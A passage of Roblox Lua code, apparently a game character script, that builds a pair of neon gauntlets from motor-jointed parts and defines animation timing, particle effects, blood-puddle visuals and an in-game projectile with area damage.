New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.10000145, 0.115000226, 1.04000056),CFrame = CFrame.new(34.4499779, 31.2374687, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0, -0.634994507, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.12269342, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4549828, 31.4374638, -6.88585138, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.00500488281, -0.434999466, 4.29153442e-06, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.12269342, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4549828, 31.4374638, -6.5858469, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.00500488281, -0.434999466, 0.300008774, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.08269346, 0.251731187, 0.260000527),CFrame = CFrame.new(34.1399841, 31.4374638, -6.88084316, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(-0.309993744, -0.434999466, 0.00501251221, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.07269347, 0.251731187, 0.260000527),CFrame = CFrame.new(34.7599945, 31.4374638, -6.87584305, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.310016632, -0.434999466, 0.0100126266, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.08269346, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4599876, 31.4374638, -6.88084316, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.0100097656, -0.434999466, 0.00501251221, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.09269345, 0.171731144, 0.190000519),CFrame = CFrame.new(34.7649918, 31.4374714, -6.86585045, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.315013885, -0.434991837, 0.0200052261, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.15269339, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4499893, 31.4374714, -7.2008543, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C1 = CFrame.new(1.14440918e-05, -0.434991837, -0.314998627, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.10269344, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4649887, 31.4374714, -6.87085009, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.0150108337, -0.434991837, 0.0150055885, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.11269343, 0.171731144, 0.190000519),CFrame = CFrame.new(34.1449852, 31.4374714, -6.8758502, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(-0.304992676, -0.434991837, 0.0100054741, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Maroon"),Size = Vector3.new(1.10000145, 0.115000226, 1.04000056),CFrame = CFrame.new(34.4499779, 31.5674801, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.458824, 0, 0),}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0, -0.304983139, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Wedge = New("WedgePart",Gauntlet,"Wedge",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.SmoothPlastic,Size = Vector3.new(1.11000025, 0.948717952, 1.02461576),CFrame = CFrame.new(34.4549637, 32.8243484, -6.85354662, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) mot = New("Motor",Wedge,"mot",{Part0 = Wedge,Part1 = Main,C1 = CFrame.new(0.00498580933, 0.951885223, 0.0323090553, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Wedge = New("WedgePart",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.SmoothPlastic,Size = Vector3.new(1.05583346, 0.902421594, 0.974615693),CFrame = CFrame.new(34.4549637, 32.8560638, -6.83271885, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.972549, 0.972549, 0.972549),}) mot = New("Motor",Wedge,"mot",{Part0 = Wedge,Part1 = Main,C1 = CFrame.new(0.00498580933, 0.983600616, 0.0531368256, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.15269339, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4499893, 32.3474693, -6.88085127, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C1 = CFrame.new(1.14440918e-05, 0.475006104, 0.00500440598, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.12269342, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4549828, 32.3474617, -6.88585138, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.00500488281, 0.474998474, 4.29153442e-06, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.07269347, 0.251731187, 0.260000527),CFrame = CFrame.new(34.7599945, 32.3474617, -6.87584305, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.310016632, 0.474998474, 0.0100126266, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.09269345, 0.171731144, 0.190000519),CFrame = CFrame.new(34.7649918, 32.3474693, -6.86585045, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.315013885, 0.475006104, 0.0200052261, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.10269344, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4649887, 32.3474693, -6.87085009, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.0150108337, 0.475006104, 0.0150055885, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.08269346, 0.251731187, 0.260000527),CFrame = CFrame.new(34.1399841, 32.3474617, -6.88084316, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(-0.309993744, 0.474998474, 0.00501251221, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.08269346, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4599876, 32.3474617, -6.88084316, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(0.0100097656, 0.474998474, 0.00501251221, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.11269343, 0.171731144, 0.190000519),CFrame = CFrame.new(34.1449852, 32.3474693, -6.8758502, 0, 0, 1, 0, 1, 0, -1, 0, 0),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C0 = CFrame.new(0, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0),C1 = CFrame.new(-0.304992676, 0.475006104, 0.0100054741, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Band = New("Part",Gauntlet,"Band",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.10000145, 0.235000312, 1.04000056),CFrame = CFrame.new(34.4499779, 32.3074799, -6.88585567, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) mot = New("Motor",Band,"mot",{Part0 = Band,Part1 = Main,C1 = CFrame.new(0, 0.435016632, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.15269339, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4499893, 32.3474693, -6.58084679, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C1 = CFrame.new(1.14440918e-05, 0.475006104, 0.305008888, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Recolor = New("Part",Gauntlet,"Recolor",{BrickColor = BrickColor.new("Crimson"),Size = Vector3.new(1.12269342, 0.251731187, 0.260000527),CFrame = CFrame.new(34.4549828, 32.3474617, -6.5858469, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.592157, 0, 0),}) SMesh = New("SpecialMesh",Recolor,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Recolor,"mot",{Part0 = Recolor,Part1 = Main,C1 = CFrame.new(0.00500488281, 0.474998474, 0.300008774, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) Nail = New("Part",Gauntlet,"Nail",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.15269339, 0.171731144, 0.190000519),CFrame = CFrame.new(34.4499893, 32.3474693, -7.2008543, 1, 0, 0, 0, 1, 0, 0, 0, 1),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),}) SMesh = New("SpecialMesh",Nail,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Nail,"mot",{Part0 = Nail,Part1 = Main,C1 = CFrame.new(1.14440918e-05, 0.475006104, -0.314998627, 1, 0, 0, 0, 1, 0, 0, 0, 1),}) for _,v in next, Gauntlet:children() do if(v:IsA'BasePart')then if(v.Name == 'Recolor')then v.Material = Enum.Material.Neon end end end local Gauntlet2 = Gauntlet:Clone(); local Main2 = Gauntlet2.Main local Hitbox2 = Gauntlet2.Hitbox Gauntlet2.Parent = Char Gauntlet.Parent = Char local NeonParts = {} for _,v in next, Gauntlet:children() do if(v:IsA'BasePart' and v.Name == 'Recolor')then v.Color = Color3.new(math.random(),math.random(),math.random()) table.insert(NeonParts,v) end end for _,v in next, Gauntlet2:children() do if(v:IsA'BasePart' and v.Name == 'Recolor')then v.Color = Color3.new(math.random(),math.random(),math.random()) table.insert(NeonParts,v) end end for _,v in next, Gauntlet:children() do if(v:IsA'Part' and not v:findFirstChildOfClass'SpecialMesh')then Instance.new("BlockMesh",v) end if(v:IsA'BasePart')then v.CanCollide = false end end for _,v in next, Gauntlet2:children() do if(v:IsA'Part' and not v:findFirstChildOfClass'SpecialMesh')then Instance.new("BlockMesh",v) end if(v:IsA'BasePart')then v.CanCollide = false end end table.insert(NeonParts,MainCl) if(PlayerSize ~= 1)then for _,v in next, Char:GetDescendants() do if(v:IsA'BasePart')then v.Size = v.Size * PlayerSize end end end local Music = Sound(MusicParent,MusicID,1,3,true,false,true) Music.Name = 'Music' local Static = Sound(Torso,1140666966,1,3,true,false,true) Static.Name = 'Static' --// Stop animations \\-- for _,v in next, Hum:GetPlayingAnimationTracks() do v:Stop(); end pcall(game.Destroy,Char:FindFirstChild'Animate') pcall(game.Destroy,Hum:FindFirstChild'Animator') --// Joints \\-- local LS = NewInstance('Motor',Char,{Part0=Torso,Part1=LArm,C0 = CF.N(-1.5 * PlayerSize,0.5 * PlayerSize,0),C1 = CF.N(0,.5 * PlayerSize,0)}) local RS = NewInstance('Motor',Char,{Part0=Torso,Part1=RArm,C0 = CF.N(1.5 * PlayerSize,0.5 * PlayerSize,0),C1 = CF.N(0,.5 * PlayerSize,0)}) local NK = NewInstance('Motor',Char,{Part0=Torso,Part1=Head,C0 = CF.N(0,1.5 * PlayerSize,0)}) local LH = NewInstance('Motor',Char,{Part0=Torso,Part1=LLeg,C0 = CF.N(-.5 * PlayerSize,-1 * PlayerSize,0),C1 = CF.N(0,1 * PlayerSize,0)}) local RH = NewInstance('Motor',Char,{Part0=Torso,Part1=RLeg,C0 = CF.N(.5 * PlayerSize,-1 * PlayerSize,0),C1 = CF.N(0,1 * PlayerSize,0)}) local RJ = NewInstance('Motor',Char,{Part0=Root,Part1=Torso}) local HW1 = Weld(Main,RArm,CF.N(0,.47,0)*CF.A(0,M.R(-90),0)) local HW2 = Weld(Main2,LArm,CF.N(0,.47,0)*CF.A(0,M.R(90),0)) local CW = Weld(MainCl,LArm,CF.N(.55,.45,0)) local LSC0 = LS.C0 local RSC0 = RS.C0 local NKC0 = NK.C0 local LHC0 = LH.C0 local RHC0 = RH.C0 local RJC0 = RJ.C0 --// Artificial HB \\-- local ArtificialHB = IN("BindableEvent", script) ArtificialHB.Name = "Heartbeat" script:WaitForChild("Heartbeat") local tf = 0 local allowframeloss = false local tossremainder = false local lastframe = tick() local frame = 1/Frame_Speed ArtificialHB:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do ArtificialHB:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) function swait(num) if num == 0 or num == nil then ArtificialHB.Event:wait() else for i = 0, num do ArtificialHB.Event:wait() end end end --// Effect Function(s) \\-- function NoobySphere(Lifetime,Speed,Type,Pos,StartSize,Inc,Color,Range,MeshId,Axis) local fxP = Part(Effects,Color,Enum.Material.Neon,V3.N(1,1,1),Pos+Pos.lookVector*Range,true,false) local fxM = Mesh(fxP,(MeshId and Enum.MeshType.FileMesh or Enum.MeshType.Sphere),(MeshId and "rbxassetid://"..MeshId or ""),"",StartSize,V3.N()) local Scale = 1 local speeder = Speed if(Type == "Multiply")then Scale = 1*Inc elseif(Type == "Divide")then Scale = 1/Inc end if(MeshId == 20329976)then fxM.Offset = V3.N(0,0,-fxM.Scale.x/8) end coroutine.wrap(function() for i = 0,10/Lifetime,.1 do if(Type == "Multiply")then Scale = Scale - 0.01*Inc/Lifetime elseif(Type == "Divide")then Scale = Scale - 0.01/Inc*Lifetime end speeder = speeder - 0.01*Speed*Lifetime fxP.CFrame = fxP.CFrame + fxP.CFrame.lookVector*speeder*Lifetime fxP.Transparency = fxP.Transparency + 0.01*Lifetime if(Axis == 'x')then fxM.Scale = fxM.Scale + Vector3.new(Scale*Lifetime, 0, 0) elseif(Axis == 'y')then fxM.Scale = fxM.Scale + Vector3.new(0, Scale*Lifetime, 0) elseif(Axis == 'z')then fxM.Scale = fxM.Scale + Vector3.new(0, 0, Scale*Lifetime) elseif(Axis == 'xyz')then fxM.Scale = fxM.Scale + Vector3.new(Scale*Lifetime,Scale*Lifetime,Scale*Lifetime) elseif(Axis == 'yz')then fxM.Scale = fxM.Scale + Vector3.new(0,Scale*Lifetime,Scale*Lifetime) elseif(Axis == 'xz')then fxM.Scale = fxM.Scale + Vector3.new(Scale*Lifetime,0,Scale*Lifetime) else fxM.Scale = fxM.Scale + Vector3.new(Scale*Lifetime, Scale*Lifetime, 0) end if(MeshId == 20329976)then fxM.Offset = V3.N(0,0,-fxM.Scale.x/8) end if(fxP.Transparency >= 1)then break end swait() end fxP:destroy() end)() return fxP end function NoobySphere2(Lifetime,Type,Pos,StartSize,Inc,Color,MeshId) local fxP = Part(Effects,Color,Enum.Material.Neon,V3.N(1,1,1),Pos,true,false) local fxM = Mesh(fxP,(MeshId and Enum.MeshType.FileMesh or Enum.MeshType.Sphere),(MeshId and "rbxassetid://"..MeshId or ""),"",StartSize,V3.N()) local Scale = 1 if(Type == "Multiply")then Scale = 1*Inc elseif(Type == "Divide")then Scale = 1/Inc end coroutine.wrap(function() for i = 0,10/Lifetime,.1 do if(Type == "Multiply")then Scale = Scale - 0.01*Inc/Lifetime elseif(Type == "Divide")then Scale = Scale - 0.01/Inc*Lifetime end fxP.Transparency = fxP.Transparency + 0.01*Lifetime fxM.Scale = fxM.Scale + Vector3.new(Scale*Lifetime, Scale*Lifetime, Scale*Lifetime) swait() end fxP:destroy() end)() end function NoobyBlock(Lifetime,Speed,Type,Pos,StartSize,Inc,Color,Range,Fade,MeshId) local fxP = Part(Effects,Color,Enum.Material.Neon,V3.N(1,1,1),Pos+Pos.lookVector*Range,true,false) local fxM = Mesh(fxP,(MeshId and Enum.MeshType.FileMesh or Enum.MeshType.Brick),(MeshId and "rbxassetid://"..MeshId or ""),"",StartSize,V3.N()) local Scale = 1 local speeder = Speed if(Type == "Multiply")then Scale = 1*Inc elseif(Type == "Divide")then Scale = 1/Inc end coroutine.wrap(function() for i = 0,10/Lifetime,.1 do if(Type == "Multiply")then Scale = Scale - 0.01*Inc/Lifetime elseif(Type == "Divide")then Scale = Scale - 0.01/Inc*Lifetime end if(Fade)then fxP.Transparency = i/(10/Lifetime) end speeder = speeder - 0.01*Speed*Lifetime/10 fxP.CFrame = fxP.CFrame + fxP.CFrame.lookVector*speeder*Lifetime fxM.Scale = fxM.Scale - Vector3.new(Scale*Lifetime, Scale*Lifetime, Scale*Lifetime) swait() end fxP:destroy() end)() end function Bezier(startpos, pos2, pos3, endpos, t) local A = startpos:lerp(pos2, t) local B = pos2:lerp(pos3, t) local C = pos3:lerp(endpos, t) local lerp1 = A:lerp(B, t) local lerp2 = B:lerp(C, t) local cubic = lerp1:lerp(lerp2, t) return cubic end function Puddle(hit,pos,norm,data) local material = data.Material or Enum.Material.SmoothPlastic local color = data.Color or BrickColor.new'Crimson' local size = data.Size or 1 if(hit.Name ~= 'BloodPuddle')then local Puddle = NewInstance('Part',workspace,{Material=material,BrickColor=color,Size=V3.N(size,.1,size),CFrame=CF.N(pos,pos+norm)*CF.A(90*M.P/180,0,0),Anchored=true,CanCollide=false,Archivable=false,Locked=true,Name='BloodPuddle'}) local Cyl = NewInstance('CylinderMesh',Puddle,{Name='CylinderMesh'}) BloodPuddles[Puddle] = 0 else local cyl = hit:FindFirstChild'CylinderMesh' if(cyl)then BloodPuddles[hit] = 0 cyl.Scale = cyl.Scale + V3.N(size,0,size) hit.Transparency = 0 end end end function Droplet(data) --ShootBullet{Size=V3.N(3,3,3),Shape='Ball',Frames=160,Origin=RArm.CFrame,Speed=10} local Size = data.Size or 1 local Color = data.Color or BrickColor.new'Crimson' local StudsPerFrame = data.Speed or 1 local Shape = data.Shape or 'Ball' local Frames = (data.Frames or 160)+1 local Pos = data.Origin or Root.CFrame local Direction = data.Direction or Root.CFrame.lookVector*100000 local Material = data.Material or Enum.Material.SmoothPlastic local Drop = data.Drop or .05 local Ignorelist = data.Ignorelist or nil local Bullet = Part(Effects,Color,Material,V3.N(Size,Size,Size),Pos,true,false) local BMesh = Mesh(Bullet,Enum.MeshType.Brick,"","",V3.N(1,1,1),V3.N()) if(Shape == 'Ball')then BMesh.MeshType = Enum.MeshType.Sphere elseif(Shape == 'Head')then BMesh.MeshType = Enum.MeshType.Head elseif(Shape == 'Cylinder')then BMesh.MeshType = Enum.MeshType.Cylinder end coroutine.wrap(function() for i = 1, Frames do Pos = Pos * CF.N(0,-(Drop*i),0) local hit,pos,norm,dist = CastRay(Bullet.CFrame.p,CF.N(Pos.p,Direction)*CF.N(0,0,-(StudsPerFrame*i)).p,StudsPerFrame) if(hit and (not hit.Parent or not hit.Parent:FindFirstChildOfClass'Humanoid' and not hit.Parent:IsA'Accessory'))then Puddle(hit,pos,norm,data) break; else Bullet.CFrame = CF.N(Pos.p,Direction)*CF.N(0,0,-(StudsPerFrame*i)) end swait() end Bullet:destroy() end)() end function SphereFX(duration,color,scale,pos,endScale,increment) return Effect{ Effect='ResizeAndFade', Color=color, Size=scale, Mesh={MeshType=Enum.MeshType.Sphere}, CFrame=pos, FXSettings={ EndSize=endScale, EndIsIncrement=increment } } end function BlastFX(duration,color,scale,pos,endScale,increment) return Effect{ Effect='ResizeAndFade', Color=color, Size=scale, Mesh={MeshType=Enum.MeshType.FileMesh,MeshId='rbxassetid://20329976'}, CFrame=pos, FXSettings={ EndSize=endScale, EndIsIncrement=increment } } end function BlockFX(duration,color,scale,pos,endScale,increment) return Effect{ Effect='ResizeAndFade', Color=color, Size=scale, CFrame=pos, FXSettings={ EndSize=endScale, EndIsIncrement=increment } } end function ShootBullet(data) --ShootBullet{Size=V3.N(3,3,3),Shape='Ball',Frames=160,Origin=RArm.CFrame,Speed=10} local Size = data.Size or V3.N(2,2,2) local Color = data.Color or BrickColor.new'Crimson' local StudsPerFrame = data.Speed or 10 local Shape = data.Shape or 'Ball' local Frames = data.Frames or 160 local Pos = data.Origin or Torso.CFrame local Direction = data.Direction or Mouse.Hit local Material = data.Material or Enum.Material.Neon local OnHit = data.HitFunction or function(hit,pos) AOEDamage(pos,10,{MinimumDamage=5,MaximumDamage=15,DamageFX={DeathFunction=GrabANoobsSoul}}) Effect{ Effect='ResizeAndFade', Color=Color, Size=V3.N(10,10,10), Mesh={MeshType=Enum.MeshType.Sphere}, CFrame=CF.N(pos), FXSettings={ EndSize=V3.N(.05,.05,.05), EndIsIncrement=true } } for i = 1, 5 do local angles = CF.A(M.RRNG(-180,180),M.RRNG(-180,180),M.RRNG(-180,180)) Effect{ Effect='Fade', Frames=65, Size=V3.N(5,5,10), CFrame=CF.N(CF.N(pos)*angles*CF.N(0,0,-10).p,pos), Mesh = {MeshType=Enum.MeshType.Sphere}, Material=Enum.Material.Neon, Color=Color, MoveDirection=CF.N(CF.N(pos)*angles*CF.N(0,0,-50).p,pos).p, } end end local Bullet = Part(Effects,Color,Material,Size,Pos,true,false) local BMesh = Mesh(Bullet,Enum.MeshType.Brick,"","",V3.N(1,1,1),V3.N()) if(Shape == 'Ball')then BMesh.MeshType = Enum.MeshType.Sphere 